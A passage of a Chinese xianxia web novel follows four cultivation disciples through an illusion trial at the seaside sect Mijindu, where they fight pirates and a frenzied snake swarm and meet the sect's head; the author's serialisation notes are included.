谭一筠艰难忍住笑意,直起身来:“就是第一次觉得简洁的文字竟包含了这样多的内涵,还蕴藏了你对他精准的评价。” 话痨又开始了。 叶泯搭着谭一筠的肩膀直起身:“不管这些人在谋划些什么,日后我和话痨会多注意的。” “怎么你也叫我话痨?” “怎么,你觉得你不是吗?” **** 自从叶泯不再执着于学武器和乐器后,在符咒一道上的进益便突飞猛进起来。不过偶尔他还是会想起自己的老本行,这时便会忍不住去问问,正在音修一道上稳步前行的楚悯。 “破妄之后是何种感觉?”他坐在正默写琴谱的楚悯身边,语气十分好奇。 楚悯正将自己这段时间听到的风编作琴谱,闻言没抬头,反而把问题抛给了在不远处擦拭刀剑的关云铮:“不如问问云崽筑基是何种感觉?” 叶泯闻言转身看过去,却见关云铮耸了耸肩:“说不上来,大概就是……以前还得求爷爷告奶奶地借灵气,现在随手一抓就能获取,这样的感觉吧?” 好……生动的感觉。 “你不也是筑基吗?问我这个做什么?”关云铮本还想说几句,忽然意识到叶泯早就筑基了,只是从没提起过,所以总被她下意识忽略了。 “我也不知道自己究竟是怎么筑基的。”叶泯坐在桌边出神,“大概是因为引气入体和筑基都来得太过轻易,所以这以后很难有进益吧。” 谭一筠已经练完了阵法,在桌边坐下:“我引气入体前后的差距倒是很显著,因为自那之后,子不语作为本命法器,便能自行飘起来了。” 只不过引气入体之初,子不语受他灵气限制,飘得不甚稳当,到了筑基前才能稳固在他身后的空中。 “至于筑基,从前我布阵只能局限在扇面上,法力也有限,筑基后才能开始布设一些简单的落地阵法,扇面上的阵法效力也极大地增强了,可以实现一些时间或是空间上的更改,譬如传送阵法。”谭一筠接着说道,几句话把自己说渴了,倒了盏茶一饮而尽,“修道其实同在私塾学书没什么区别,学得好,会背、能理解的篇目自然变多了,而那些虚无缥缈的能力,总会在某个时刻得到合适的解释。” 具象的进步和成就总是更鼓舞人心,这无论放在哪个时代都是毋庸置疑的。画饼的技术再出神入化,都不如升职加薪来得打动人心。 更何况,“道”之一词,本就虚无缥缈,若是还执着用虚无缥缈的感受来概述自己的进益,岂不是永远都辩不清楚了? “这样说的话,破妄之后最大的感触应当是,从前我只会在卜算受限时转向音律,音律对我来说是不得不为,展露出的也不如卦象明晰。但破妄之后,我能感觉到音律即是卦象,两者皆是万物运行的规律,甚至能通过听风,写下风的律,从而推断出,下一场风会从哪个方向来,又会是什么样的风。”楚悯默完了新的琴谱,将纸张铺平摊开,又用茶盏在一角压实了,做完这一切动作后才抬起头,“譬如此刻。” 她抬起头看向院外:“东风就要来了。”—— 作者有话说:不想出差…… 第138章 迷津渡紧挨着东海, 无边浪涛被风卷起,随后猛地拍碎在崖边石壁上,碎成翻涌的白。 呼啸风声中, 一道人影忽而从岸边的礁石里闪过, 身法奇快,几乎看不清身形, 飞快地掠过刻着“迷津渡”三字的巨石, 向远离海岸的内陆奔去。 而远处高耸的石崖之上,有另一身影正在拔足狂奔。 与海岸边独身飞奔的人不同,他身后正有几名黑衣人紧追不舍,好几次黑衣人手中的刀尖都快挨着他后腰,被他用脱手而出的符咒连带人一同震开,才争取到了继续逃命的时间。 被追得狼狈不堪的人正是叶泯。 他一睁开眼就知道自己身处幻境, 原以为这次章先生没混淆他们的记忆是网开一面,拥有清晰的记忆也更方便他们解决未来可能发生的问题。谁料还没等他缓过一口气, 五六个黑衣人便突兀地从周围的树丛中窜了出来,嘴里叫着喊着“别让他跑了”就追了上来! 虽然先前在自家门派和归墟都被保护得很好, 没遇到过什么真正的危机, 但叶泯此前并非没有逃过命。 毕竟发了失心疯的人再凶猛也是比不上灵兽的。 鹧鸪山中无野象,但曾有一年一群野象途径山脚,与农户们起了冲突, 门派接到消息下山解决此事时, 那群野象已经发了怒,抬脚就要将人活活踩死。 兴许是他那时身上沾了灵犀的气息——虽然灵犀应当不足以成为野象的天敌,但还是令野象感受到了威胁,调转矛头便朝他冲了过来。 他不会御剑,躲得异常狼狈, 最后还是爹赶到,才将将安抚住了那头野象,从脚下救了他一条命。 ——此刻的狼狈奔逃让叶泯想起了曾经象脚求生的记忆,求生欲催发之下,他甩出符咒的动作越来越快,几乎只能看得见动作的残影。 好在前阵子他一直跟随褚老学习符咒,乾坤袋中有的是各式各样的符咒,只是符咒打退他人的效用有限,需得增加助力,才可…… 忙于奔逃的叶泯脸色忽地一变,似乎听到了隐约传来的乐声,曲调还异常熟悉,好像…… 他心思电转,下一瞬已经骤然停住了逃跑的脚步,在乐声逐渐响起来的瞬间,将手中一沓燃焰咒打了出去。 乐声加持之下,那火焰陡然窜起一丈多高,在地上升起了一道火墙,隔绝了紧追不舍的几人,还燎着了他们的衣摆。 尚未明晰对方身份,叶泯不想武断下杀手,一击得手便立刻转身继续逃命,经过一处巨石后,果然看见了藏匿于此的楚悯。 “遇到云铮他们了吗?”重要关头,叶泯仍为男女授受不亲分了一瞬的神,正犹豫着是否要隔着衣袖抓住楚悯的手腕带着她跑,忽而意识到自己犯了一路的傻,竟忘了对常人来说杀伤力极强的灵犀,就安然缠在他的手腕上。 幡然醒悟般,叶泯刹住脚步,一道恢复原型的符咒甩出,将灵犀变回原本大小:“让灵犀载你走吧。” 记忆未曾被混淆,用巨蚺当坐骑一事也就成了熟能生巧,楚悯没多犹豫,在灵犀低下头时迅速攀到它身上:“方才怎么不让灵犀出来?” 叶泯一脸木然:“我也想知道,可能是在之前两次幻境中习惯了记忆被压制,骤然得到完整的记忆,都有些不适应了。” 五六个令他应对得左支右绌的黑衣人,在体型庞大的灵犀面前就只是一甩尾便能摆脱的货色。叶泯这才从紧绷的状态里放松下来:“但是此地是何处?” 楚悯示意他往几丈之外的石崖下看。 叶泯几步登上灵犀的身子,借着高度往下一看。 “海?” 楚悯点点头:“此地应是东海之滨,迷津渡。” **** 谭一筠苏醒时便意识到自己被绑了。 神智一恢复,纵使被蒙着眼,身上各处的感觉也会变得无比鲜明:肩臂处被长时间强行束缚的酸胀,手腕被麻绳捆缚出的刺痛,无疑都在昭示一个事实——章先生把他安排成人质了。 他自然也在苏醒的瞬间意识到了记忆未曾被混淆一事,想来此次解决幻境、得以离开的关键并不在于“意识到此处是幻境”,而是其他需要他们解决的问题。 但章先生出手势必也不会留情,所以他得到了完整的记忆……失去了自由。 谭一筠叹了口气,深感自己上了贼船,还是自家师父亲手坑的。 只是还没等他这口气叹完,远处便传来一阵刀剑拼杀的声音,仿佛是有谁闯了进来。 他第一反应是云铮,但随即又意识到幻境中绝对不止他们四人在,定然还有他人,故而也未必就是自己的同伴前来营救。 只是很快,那刀剑拼杀声便越来越近,原本守在他附近的几人也冲了出去。 谭一筠一颗心提到了喉口,正等着听一听来人的声音,忽然听见不远处的拼杀声停了,随即方才缠斗中一个粗犷的声音道:“把她刀给我缴了!” 刀?谭一筠顿时更紧张了,难道真是云铮?人多势众,她打不过应该快逃才对,为何非救自己不可?反正幻境中自己也不会真的有事。 “小姑娘,里头是你的相好啊,这么拼命?”另一个油滑的声音响起。 一句话引得周遭一片哄笑,被称作“小姑娘”的人却没吭声。 “挺能打的啊,里头那个小白脸配你倒是正好。”粗犷的声音说道。 谭一筠:“……”自己到底哪点像小白脸了,此刻面无血色所以显得面色发白这一点吗? 来人一直不说话,他心里愈发笃定,此人便是关云铮,但又不清楚关云铮究竟伤势如何,做何盘算,一颗心依旧惴惴不安地蹦个不停。 “名门正派的弟子,”另一个阴沉些的声音忽而开口道,“不说话,脸上却分明忍得很辛苦,想必没听过别人这么对你说话吧?” 周围又是一阵哄笑,人群之中说什么的都有,粗鄙不堪的,侮辱品格的,听得谭一筠面色越来越沉。 “这么想救你的同伴?”那个阴沉的声音问道。 来人依旧没吭声。 “反正日后我们在岛上也要时常见面,不好为难太过,也不好将你欺负了去,不如就……”油滑之人故意拖长了调子道。 阴沉之人忽而截口打断:“不如就跪下,给我们一人磕个响头,我们便将你的同伴放了,如何?” 谭一筠试着催动了一番灵气,发觉毫无反应,大约是他周身也有个微型的锁灵阵,所有依托灵气的招式都使不出来。 章先生有必要做得这么绝吗,谭一筠简直要气笑了。 远处人群的起哄声,调笑声嗡嗡响在他耳边,而后,万籁俱寂。 ——“扑通”一声,来人跪了下来。 “哈哈哈哈,大哥,我说什么来着,他俩一定是相好吧!”粗犷之声说道。 “你看她那张脸气成什么样了,啧啧,眼睛都气红了。”油滑之人说道。 “光跪可不行,头还没磕呢。”阴沉之人想必便是他们的“大哥”,此刻发了话,周围的人便又是一阵喧闹。 只听来人终于开口了,声音一出,谭一筠顿时惊怒交加,惊的是来人竟真是关云铮,怒的是她听起来似乎真的要给这些混蛋磕头。 而她轻声说的是:“好啊,我这就磕。” 不对。 谭一筠皱起眉,下一瞬,关云铮话音刚落,一声惊呼响起:“大哥!” 只听接连几声惨叫,不知远处究竟发生了什么,不过几息工夫,惨叫声便连成了一片。 而关云铮的声音终于变得清晰起来:“下次要收缴别人武器之前,也要记得看看,她是不是只有一把武器。” “方才你说什么来着?要欺负我?”关云铮饶有兴致似的,“怎么个欺负法?” 又是一声不似人声的惨叫。 “哦,险些忘了你。张口相好闭口相好,想必在这岛上没见过什么女人,才会满脑子淫、、秽之事吧?不过既然用不上,不如将你废了?也省得你整日说三道四的惹人烦。” 谭一筠放下心来:对了对了,这才是云铮的作风。 他提心吊胆了许久,终于在关云铮一剑戳死一个的动静里安心下来。 片刻之后,周遭再度一片寂静,熟悉的脚步声朝他走来,隔着一段距离便将他眼上布条碎了个干净,没伤到他分毫。 关云铮两手一同甩了甩摇羽和霄汉上的血迹,面带嫌弃地看了他一眼:“别是睡着了吧?” 谭一筠叹了口气:“劳驾,这有锁灵阵,我手上的绳索也烦请你给我解开。” 关云铮挑眉,走近后用剑尖将绳索挑了:“难怪半天没动静,这次你被锁灵阵束缚,上次小悯和叶泯也是被锁灵阵困住,下次岂不是要轮到我了?” 谭一筠揉了揉险些破皮的手腕,发觉自己脆弱的程度倒确实算得上是个“小白脸”,语气幽幽道:“敌人让你跪你就跪,也太豁得出去了,谁能困得住你啊。” 关云铮不甚在意地将刀剑收回鞘中,往身后的墙上一靠:“在他们放松警惕时一击必杀,岂不比在他们精神紧绷时与其缠斗来得轻松多了?再说了,跪一下也不会掉块肉,反正看见我跪的人都死了,没人能往外说。” 尊严这种东西,不能将其看得太轻,要自尊自爱;也不必看得太重,否则在没有能力守护自己的尊严之时,粗鄙的言语便能将人摧折。 再说了,若是忍一时羞辱,而后很快便能将羞辱自己之人尽数杀光灭口,那一时的羞辱也做不得什么数。 有谁看到了呢?反正她也不会认。 谭一筠默默给她竖了个大拇指:“不愧是你。” **** “迷津渡是仙门?先前怎么未曾听说?是我消息太闭塞了?”彻底摆脱了追杀,路途遥远,叶泯不想让灵犀负担过重,便翻身落地,走在一边。 楚悯倒是也想下去自己走,被叶泯和灵犀一同严词拒绝了——灵犀压根不打算伏下身子,楚悯只好继续待在它脑袋上。 “尚且不知还有没有别的追杀,而且你坐在灵犀身上,用月下逢时也要更平稳些。”叶泯抬起头来说,“我自然是很愿意跟你一起走的,但是打起架来还得靠你呢,需得保障你的安全。” 楚悯叹了口气,接受了他的说法,顺带解释了他方才的问题:“迷津渡是仙门,近年来鲜有新招弟子,门庭凋敝,也就不太为人所知了。” “倚靠着东海实在很有些偏僻了,况且我看此处更像是海上孤岛,人迹罕至倒也不奇怪。”叶泯犯着嘀咕,“方才追杀我们的又是谁?门中弟子吗?” 楚悯摇了摇头:“不像。迷津渡素来以世外之人自持,行事作风很有些仙风道骨,应当不会无端追杀。” “难道这也是章先生布设幻境的一部分?”有心之人安排之下,就算不得“无端”了吧?这“端”分明有得很啊。 话音刚落,两人一同陷入沉默。 应该不至于……这么坑人吧。 “不过我倒是也听说过,近年来迷津渡周围海域不太平,兴许他们看我们面生,将我们视作敌对,也不是不可能。”楚悯说道。 这回轮到叶泯叹了口气:“也不知道云铮和谭兄在何处,是不是安全。” 楚悯反而不甚担心:“记忆不曾被混淆的话,谭兄所知未必比我少,大约已推测出此地情状了。章先生应当也不会对云崽多加束缚,若是遇上危险,以云崽当下的功夫,应对起来不是问题,顶多需要她动点心眼。” 谭一筠平日里修炼任务没有他们重,步雁山掌管归墟一应事务,许多时候并没有太多闲暇,往往只能在关键处指点几句,便放谭一筠自己去探究了。 但也正因闲暇颇多,谭一筠在藏书阁待着的时间比他们三人加起来的几倍还要多,不是看这个仙门杂谈,就是看那个仙门秘史,对各地仙门的发展很是了解,几乎可以称得上一句“仙门百晓生”。 至于云铮…… “你为何觉得章先生不会对云崽多加束缚?”叶泯不解。 “云崽出去后会骂他的吧。”楚悯微笑。 叶泯:“……”也对。 虽然他们三人若是被绑,云铮也会为他们指责章先生,但云铮自己被绑,出了幻境大约要气急败坏了。 毕竟难得有个不需要顾忌他人承受极限的修炼机会,能够不计后果地……打架,若是被绑,章先生大概确实是要挨骂的。 “至于心眼……”楚悯嘴角的笑意明显了一些,“不如见到云铮后问问她吧。” **** “这些人究竟是什么身份?”谭一筠接过关云铮递过来的药,取出些抹在手腕上,险些破皮的地方被刺得一阵龇牙咧嘴,一时之间几乎要怀疑凌风起的用心。 关云铮一脸同情地看着他抹完:“是不是很刺激?真的很好奇凌师伯都往里面放了些什么。” 谭一筠三下五除二地给自己上完刑,将药瓶子递回去,便听关云铮接着说道:“海盗。” “嗯?”谭一筠没反应过来,而后低头看了一眼地上横七竖八的尸体,“他们是海盗?” 关云铮挑眉。 谭一筠面色复杂地看了一会儿地上的尸体,余光瞥见其中一具没死透,握着刀的右手抽了抽,又眼疾手快地用身旁的武器补了一刀。 一串动作看得关云铮叹为观止:“应该死透了,我每一招都是朝着要害去的。” 谭一筠不想在此处久待,召出子不语给自己驱散眼前污浊的空气,又跨过尸体朝外走。只是他刚一跨出去,就被外头的景象惊呆了。 “你……”谭一筠呆滞地转过身,“你这一路过来杀了这么多人?” 关云铮抱着双臂跟在他身后,闻言一耸肩:“先前叶泯不是给我们每个人都塞了一张示踪在身上,又给了一叠寻踪吗?我发现了你身上示踪的痕迹,又跟着寻踪找到你,结果就听见外面这群人在商讨,接下来该如何烧杀劫掠,若是遇到女子,便先奸后杀,难道不该杀?” 谭一筠越听脸色越沉,到后来额角青筋浮动,看上去想走回去往尸体上再捅几刀。 “我从前时常会想,有些人或许并不像表现出的那样坏,说出这样的话或许也只是为了融入集体。”关云铮拨弄了一下自己给摇羽编的剑穗,“但现在我不这样想了。集体对于人的影响是无穷无尽的,诚然在其他人作恶时不参与其中会被排挤,但那也不是他们对无辜之人恶语相向的理由。” 更不用说恶意总像滚雪球,起初是可以视若无睹的眼神,接着是不堪入耳的污言秽语,再然后呢?又会是什么? 好人活在世上本就比坏人要艰难,虽然她自己算不上好人,但也不想再体谅了。 可能是意识到自己说的话让氛围太过沉重,关云铮又收回视线笑道:“走吧,找小悯他们去。” 谭一筠却敏锐地意识到她还有没说完的话,于是追上她的步子追问道:“你方才可是想起什么令你不快之事?” 关云铮转头看他:“刨根问底可不是你往日的风格。” 谭一筠也学着她的动作耸了耸肩:“小悯不在,总不好让你心气郁结,不如同我说说吧?” 其实关云铮也是听见那些人的话,才忽然想起这件事的。此事也并非她亲身经历,她只是在信息繁杂的互联网上冲浪时,恰巧看到了这个故事而已。 “有一个……男孩,被一群男孩欺负了,拳脚相向,打骂侮辱,一个女孩碰见了,为这个男孩出头,救了他,并且从此和那个男孩成了朋友。”关云铮回忆着那个故事的细节,缓慢地说道。 谭一筠点点头:“后来呢?” “后来女孩发现,那群男孩会在私下编造她的谣言,说一些很不堪的话。”关云铮继续往外走,神情和语气都很平静。 谭一筠却听得有些汗颜了,因为他几乎能料到这个“故事”接下来的走向——男人的劣根性就是这样轻易便可以揣摩,而他作为男人这个群体的一员,几乎有些如芒在背。 “谣言之中,那些男孩对女孩的私事竟然了如指掌,女孩不堪其扰,找到他们理论后才发现,”关云铮确认了一番手中寻踪的指向,调转方向继续顺着指引走,“原来她的朋友一直和他们有所联络,所有的私事也都是他告诉那群人的,他甚至也参与了那些,谣言。” 她走出几步远,才发现身后的谭一筠没跟上,不由得诧异回头:“怎么了?受伤了?” 谭一筠摇了摇头,抬腿跟上她的步子:“只是终于明白,为何往日你都只跟小悯说这些了。” 关云铮颇觉好笑,顺着他的话问道:“为何?” “兴许是我个人承受能力有限,总觉得你见过听过的很多事都太残酷了,好像只有小悯这样,真正明白所谓‘天道衰颓’的人,才能托住你的情绪。”谭一筠坦诚道。 谁料关云铮却摇了摇头:“我只和小悯说这些不是因为这个,天道与人心也不是一回事。也没有她托得住我的情绪,你却托不住这一说。没有人该为别人的情绪买单,纵使我们几乎已经是无话不谈的朋友了。” “我不说只是因为我还没找到解决的办法,所有的话就都只是空谈,只是我徒劳的愤怒,而人在愤怒的时候是会迁怒的,你和叶泯也是男人,我说方才那故事的时候,想必你听得很不舒服吧?”关云铮笑着看向他,“不管是觉得被刺痛,还是同样作为男的,为自己和这样的人同属同一群体感到汗颜,都是很正常的情绪。” 两人说话间终于走到了视野开阔处,极目远眺之处,仿佛有一道水天相接的线。 关云铮知道,那就是海平面。 “我为此愤怒,因此这也是我该解决的问题,在没有解决之前,我会反复进行自我消化。”摇羽的剑穗被风拂动,在海浪声中摇晃着,“倒也不是不能说,就是我控制得不好,说着说着容易生气,就变得像是抱怨了。” 抱怨挺没意思的,像是给身边的人倒垃圾,搞得大家心情都不好。 谭一筠被她几番言辞说得不知说什么是好,在海浪声中一同伫立了好一会儿,才开口说:“不管怎么说,你又是怎么想,作为朋友,我很高兴能听见你同我说这些。”—— 作者有话说:以后不出意外都会是周五更6k,周日周二更4k的模式。因为我每周是周五周日休,所以全靠这两天写这三更() 写文好像真的是很自娱自乐的事情,写作之初没人看,是单机写作,写作到了后面没人追读,也是单机写作。 但不管怎么说,我会坚持把这个故事按照我心目中的样子写完的[墨镜] 第139章 在寻踪指引之下, 找到同伴并不是一件难事,关云铮会先赶往谭一筠所在,也只是因为预感到那边情况更为紧急, 如今解决了问题, 自然要去与余下的同伴们会合。 ——只是关云铮和谭一筠都没想到,同伴们的出场形式会这样的……别具一格。 楚悯倒是还好好的, 抱着琴衣袂飘飘仙气十足, 就是坐骑独特了些,灵犀恢复原型后实在是很有压迫感。但叶泯…… 关云铮打量了他一圈:“你玩火去了?” 衣服下摆快被燎没了,袖子烧出好几个洞,连头发都烧焦了一撮,半死不活地蜷缩着。 叶泯周身的怨气简直如有实质,看起来比鬼也差不了多少了:“我和小悯遇到一伙人追杀, 乾坤袋里唯一有效的就是燃焰咒,只能以火退敌。结果符咒用得好好的, 忽然来了一阵风,那火焰差点把我也卷进去。” 拿着子不语站在一旁的谭一筠:“噗。” 灵犀见着了其他同伴, 终于愿意伏下身子将楚悯放下来。 鳞片光滑, 楚悯一不留神就溜到了底,险些把自己摔出去,被关云铮一手扶住了, 只是这好心人没忍住, 耍了句贫:“年都过了,可受不起这一跪。” 楚悯借着她的搀扶站起身,失笑:“你们方才可遇到了危险?” 关云铮随口答道:“还行吧,没比你们危险多少。” 谭一筠在一边翻了个极其生动的白眼:“嗯嗯嗯,对对对, 也就多杀了二十来号人。” 叶泯本要走过来,闻言险些被灵犀的尾巴绊了个跟头,挂在灵犀身上不可置信地抬起头:“多少?!” 关云铮险些被他近在咫尺的大嗓门震聋了,一偏头躲开音波攻击才说:“大概和追杀你们的人是一伙的,都是这一带时常活动的海盗。” “海盗为何要追杀我们?”叶泯本想从灵犀身上爬起来,可方才奔逃一路,又险些被火燎了,贴着灵犀冰凉的鳞片正好,索性挂在灵犀尾巴上不动了。 “不知道,这不是打算和你们一起去查吗。”关云铮显然没把这件事当回事,“有记忆一切好说,就算师父还挖了很多坑等我们跳,也比没记忆的时候抓瞎要好。” 不过也正因为此次四人的记忆没被混淆,这次幻境对他们的难度一定也提高了。先前的江县大火,关云铮在进入幻境前便梦见过;而翠屏山大比,谭一筠则更是亲历者。 如今记忆没有问题,说明这次幻境中将会发生的事,于他们来说完全是一无所知的,也就更麻烦了。 “我倒是还记得迷津渡的地图。”谭一筠忽而说道。 余下三人顿时目光炯炯地看向他。 谭一筠在乾坤袋里翻找一番,找出绘图用的纸笔,又看向关云铮:“当时在藏书阁看到的地图,绘制是俯视与内部构造对应的,需得确认俯视地图没有问题,我才能准确描绘出内部构造。” 关云铮明白了,还没开口,腰间摇羽已然出鞘,她纵身一跃跳上剑身:“我御剑,传音给你同步确认?” 谭一筠点点头,正要补充,一旁的楚悯已经主动开口:“我也一起,省些时间。” 两位姑娘一同御剑而去,叶泯也从趴着改为坐着:“岛上应当有些飞禽走兽吧?” 谭一筠侧眸看他,也理解了他的言下之意:“应当有?” 叶泯攀着蛇身到灵犀头顶落座:“灵犀,走!” **** 四人兵分三路,用传音符同步传讯,终于在日落之前绘制成了迷津渡的地图。 关云铮和楚悯回来时,谭一筠正用术法将地图复制出了另外三份,将其中两份递给两人后,叶泯却还没回来。 “他人呢?”全程用御物术绘制太费灵气,细节之处都是谭一筠亲手画的,此刻右手几乎不能舒展,僵硬得厉害。 关云铮又从乾坤袋里摸出瓶丹药,示意他敷在手上缓解酸胀:“方才在剑上看见灵犀了,这海岛有好些蛇,此刻它正一呼百应,想来有些乐不思蜀了。” “海蛇?那岂不是都是毒蛇?”谭一筠皱眉。 关云铮不甚在意地点点头:“除夕那日凌师伯给我们的丹药不就能派上用场了。” 谭一筠木着脸:“不要开这种玩笑。” 叶泯在关云铮和楚悯的笑声中从远处的树林里狂奔而出,一面跑一面对着传音符喊:“不好了,那些蛇发狂了!” 关云铮:啊哦。 原来她是属乌鸦的吗。 心里虽还在自嘲,手上的动作却没含糊,关云铮刚从剑上下来,瞬息之间已再度踩上剑身,朝叶泯而去! 修仙以来他们的目力都随着修为有所提升,可方才却没能看到叶泯所说的蛇群究竟在何处。 待关云铮飞近了一看,才发现那远看几乎是一条黑线的东西……正是密密麻麻的蛇潮! 关云铮纵然已经在长时间与灵犀相处之下摆脱了对蛇的恐惧,但面对这么多蛇头皮都麻了,连忙降低高度将叶泯一把拉了上来。 “灵犀呢?”关云铮赶紧又拉高高度。 叶泯跑得险些断气,一时说不出话,只能抬起手腕给她看缠在腕上的灵犀。 地上的蛇群追不到人,在地上逡巡了片刻,又往树林里涌回去了。关云铮这才松了口气,却没敢完全放下心,带着叶泯飞回同伴身边才开口:“方才还见你们好好的,怎么忽然就发狂了?” 叶泯摆摆手:“起先确实好好的,灵犀同它们交流时也都十分配合。可就在方才,原本环绕着灵犀的小蛇忽然开始攻击它,我见情形有异,立刻将灵犀变小,一路跑了出来,路上又甩了好些符咒,乾坤袋里的库存都快没了。” 谭一筠皱起眉头:“难道都被训练过?方才在你没察觉的情况下,有人下了指令?” “周围根本没人在啊。”叶泯一头雾水,还有些余惊未消,“也没有奇怪的声音和气味,我和灵犀都警惕着呢。” 那会是什么? 经过这一遭,关云铮不敢再把剑收起来了,索性抱在怀里站在外围警戒,目光从树林那边移到同伴们身上,又被几人背对的远处吸引。 她忽然想明白了什么:“难道是因为……日落了?” 叶泯抬起头,果然见到最后一点猩红的日光从海平面上掉下去了。 三人恍然大悟:“原来如此!” 关云铮:只是猜测……为什么表现得她好像很天才一样,怪恐慌的。 方才叶泯对着传音符大喊出那一声之后,谭一筠便在四人周围布置了一个防御阵法,此刻暂时没有来自人或蛇的攻击,他便提议道:“不如我们先在此处安营吧,明日再进迷津渡派中查探。” **** 四人皆穿着归墟的弟子校服,迷津渡此时似乎也并不在秋冬,按说无需生火。 但迷津渡紧挨着东海,夜里海风实在太过喧嚣,关云铮本来和楚悯坐在一起说话,被风刮得面目狰狞,只得把谭一筠摇起来生火。 谭一筠起了,叶泯自然也不好再歇着,更别说他过往待在鹧鸪山中,其实是四人中野外经验最为丰富的,在关云铮出声喊人的时候他便窜起来了。 四人一起折腾完篝火时已经困意全消,干脆围着火堆说起话来。 “上次幻境中,我和小悯醒时,眼前也有一个这样的火堆。”叶泯说到这已经意识到不妙,因为这个话题势必会牵扯出现实中早已死去的崔栩铭…… 他说错了话,下意识看向一旁的谭一筠。却见他神情如常,见他面色关切,还反过来宽慰他:“讳莫如深无非是让这件事对自己的情绪影响越来越大,有些事说出来可能也不算什么了。” 关云铮在一旁打岔:“这话点我呢是吧。” 毕竟她白日里才对谭一筠说过,有些事情需要自己解决这样的话。 谭一筠失笑,却没在这个话题上多做解释:“叶泯接着说吧。” “那时候小悯从乾坤袋里拿出好些夜明珠,都是哪来的?我一直忘了问。”叶泯说道。 楚悯也愣了一下才说:“好像是叔父和闻师兄给的,大概各占一半吧。” “师兄给的?”关云铮纳罕,“他无缘无故给的?” 楚悯摇了摇头:“似乎是师兄某日从家中回来,便顺手给我了,如今想来,兴许是知道了上次幻境中我们会遭遇什么,才给夜明珠这样的物件?” “那应该也不会,毕竟师父出了名的谜语人,师兄也不可能知道了却不告诉我。”关云铮果断地否决了这个结论,又自顾自地说,“不过也有可能真的是师兄察觉到了此事,他在这方面的感觉一向很准。” 虽然至今也不明白闻越在这方面究竟是天赋异禀,还是欧皇降世。 “夜明珠还在吗,给我看看。”关云铮好奇,她此前只在古装剧里见过假得不能更假的夜明珠,还没见过真的呢。 楚悯从乾坤袋里取出两颗夜明珠,掌心大小的珍宝一捧出来,便散发出了一阵幽蓝的光,或许是海边月光明亮,相衬之下,这光亮微乎其微,只够照亮他们的面容。 “乾坤袋里这么多东西,究竟是怎么实现,一摸就能摸出来自己想要的东西呢?”关云铮托腮注视着那颗夜明珠。 “大概……有个通晓人心的术法吧?”楚悯也不太懂原理,毕竟她生下来就是仙门中人了,没有仔细思考过乾坤袋这样随处可见的物件,里头究竟蕴藏了什么玄机。 就像关云铮也从不思考某些铁律般的数学原理,长大后推导的过程逐渐遗忘,只剩下那些朗朗上口的口诀成为本能,在记忆中留了下来。 谭一筠从乾坤袋中摸出一本书,哗哗翻了一阵后,在她们面前摊开:“是袋内的术法作用,不过隙影也在其中帮了不少忙。” “隙影?”叶泯太久没听到这个词,反应了片刻才说,“你说那个会帮着收拾的小精怪?” 谭一筠指了指书页上的话:“乾坤袋中若是太过杂乱,也是无法将想要的物件取出来的,所以隙影在取物一事上,功不可没。” 原来是小精灵在拯救世界。 “乾坤袋既有扩展空间术法,又有通晓人心的术法,究竟是谁研究出来的?”关云铮握住夜明珠,发觉这东西的温度和触感也和自己想象的差不多,像是实心的玻璃球。 “修仙一道已发展千百年之久,最初究竟是谁做出的乾坤袋,已经无从考证了。”叶泯拨弄着火堆里的木柴,发觉周围三人忽然都看着他身后不说话了。 他无端起了一身鸡皮疙瘩:“我……我背后有什么?” 关云铮声音轻得被风一吹就能散:“别回头看。” 话音刚落,还没等叶泯控制不住地想要回头,关云铮已经手起剑落地劈向他身后。 寒芒闪过,叶泯听见了东西陆续落地的声响。 这动静……叶泯脸都木了:“是傍晚那群蛇?” 关云铮已经提剑站了起来,语气倒是很平静:“嗯,比白日里还要多。” 楚悯和谭一筠白日没去接应叶泯,也就没能直面那吓得人腿软的蛇潮,却没料到入了夜,碰见了加大加强版。 谭一筠神色还算平静,只是手中的扇骨已经被他捏得咔咔作响。虽然心里清楚他的防御阵法没有那么容易被攻破,但防御阵法毕竟只在地面,并不像结界一般阻绝两方的视线。 他能无比清晰地看见那群蛇是怎样拼命地挤上前,又被阵法的灵气震飞出去,而后在地上痉挛一番,再度发起攻势,执着的模样活像是中了邪,令人毛骨悚然。 灵犀若是恢复原型,倒不是不能解决这群小蛇,但是这群蛇大多都毒得很,有几条他都没见过,若是挨个咬上一口,灵犀怕是不会好过。 灵犀的母亲是被盗猎者和其他灵兽围攻而死的,他不想看着灵犀也陷入这样的困境里。 “你还有多少张燃焰咒?”关云铮回头看向叶泯。 叶泯从乾坤袋里摸出一小叠符咒:“不到十张。” “小悯,你应该能将它们全部围拢过来?”关云铮又看向楚悯。 楚悯点点头:“可以。”她捧出月下逢,几息思索过后,指尖已弹奏起一支激昂的曲子。 阵法外的蛇群顿时更为躁动,围拢着撞上前来的越来越多。 没被吩咐的谭一筠自觉找好了该做的事:“我给小悯的琴声和叶泯的符咒做个加持。” 子不语应声而起,如同一个阵法增幅器,瞬间升到四人头顶,展开的一瞬间,扇面上的阵法与地上的阵法同时亮起! “躲也不是办法,不如放把火把它们全烧了。”关云铮背对火堆而立,月光只能照亮她的眉眼,照不亮她紧绷的嘴角。 “且慢!”蛇群之后忽然有人御剑而来,见他们要动手烧死蛇群,大喊道,“它们没有恶意,诸位少侠快请快停手!” 关云铮将信将疑地看向来人,都发起好几波攻击了,你管这叫没有恶意? 来人目光却忽地落在了叶泯身上:“你是……志青的小儿子?” 叶泯皱起眉头:“你是何人?” 来人从剑上跃下,不知从哪摸出一支短笛,递到唇边急促地吹了支曲子。 只见随着他的笛音逐渐激越,那些蛇也恢复了白日里平静的模样,而后竟在笛声中调转方向离开了! 关云铮看他的眼神顿时变得更为警惕,但她没忘了方才此人搭讪般的那句,凑近一边的叶泯低声问道:“他口中之人是……?” 叶泯神情不定:“我娘。”—— 作者有话说:好冷清哦……都不知道有没有人在看了[爆哭]想要评论[爆哭][爆哭] 第140章 来人用笛声驱走了蛇群, 走到几人身前。由于确实没有敌意,防御阵法没对他发起攻击。 然而关云铮戒心未消,一剑横在他身前:“你究竟是何人?一己之词, 实难令人信服。” 来人并未被她的举动激怒, 只是苦着脸叹了口气:“我是迷津渡现任掌事,姓方。” “方竞甫。”站在关云铮身后的叶泯忽然出声, 说出了他的名字。 方竞甫面色一滞, 而后带着些希冀地看向叶泯:“你认得我?” “背弃门派、叛出宗族,我当然认得你。”叶泯面色沉沉。 关云铮闻言,手中的剑都快横到姓方的身上了。 方竞甫又叹了口气:“当年的事……容我之后再解释,附近海盗猖獗,诸位还是随我进门派躲躲吧。” 叶泯没再说话,关云铮扭头看向谭一筠和楚悯, 见两人都没什么异议,暂且收起剑:“那就带路吧。” **** 关云铮心情不好的时候懒得说话, 